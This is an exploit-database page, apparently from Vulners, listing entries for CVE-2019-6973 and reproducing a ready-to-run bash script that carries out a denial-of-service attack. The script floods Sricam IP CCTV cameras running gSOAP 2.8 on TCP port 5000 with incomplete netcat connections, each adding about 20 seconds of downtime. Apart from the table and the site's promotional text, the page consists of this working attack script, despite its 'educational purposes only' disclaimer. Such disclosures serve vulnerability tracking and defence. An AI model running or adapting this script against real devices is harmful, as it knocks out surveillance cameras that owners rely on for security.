| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| Sricam gSOAP 2.8 - Denial of Service Exploit | 28 Jan 201900:00 | – | zdt | |
| CVE-2019-6973 | 17 Mar 201918:12 | – | cve | |
| CVE-2019-6973 | 17 Mar 201918:12 | – | cvelist | |
| Sricam gSOAP 2.8 - Denial of Service | 28 Jan 201900:00 | – | exploitpack | |
| CVE-2019-6973 | 21 Mar 201916:01 | – | nvd | |
| Sricam gSOAP 2.8 Denial Of Service | 29 Jan 201900:00 | – | packetstorm | |
| Denial of service | 21 Mar 201916:01 | – | prion |
#!/bin/bash
#######################################################################################
#
# Exploit Title: Sricam gSOAP 2.8 - Denial of Service
# Date: 25/01/2019
# Vendor Status: Informed (24/10/2018)
# CVE ID: CVE-2019-6973
# Exploit Author: Andrew Watson
# Contact: https://keybase.io/bitfu
# Software Version: Sricam gSOAP 2.8
# Vendor Homepage: http://www.sricam.com/
# Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
# PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
# exploitable by sending multiple incomplete requests.
# References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
# DISCLAIMER: This proof of concept is provided for educational purposes only!
#
#######################################################################################
if [ -z "$3" ]; then
echo "#############################################################################"
echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
echo "[*] Example: $0 127.0.0.1 5000 10"
echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"
exit 0
fi
time=$(expr $3 \* 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"
echoData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation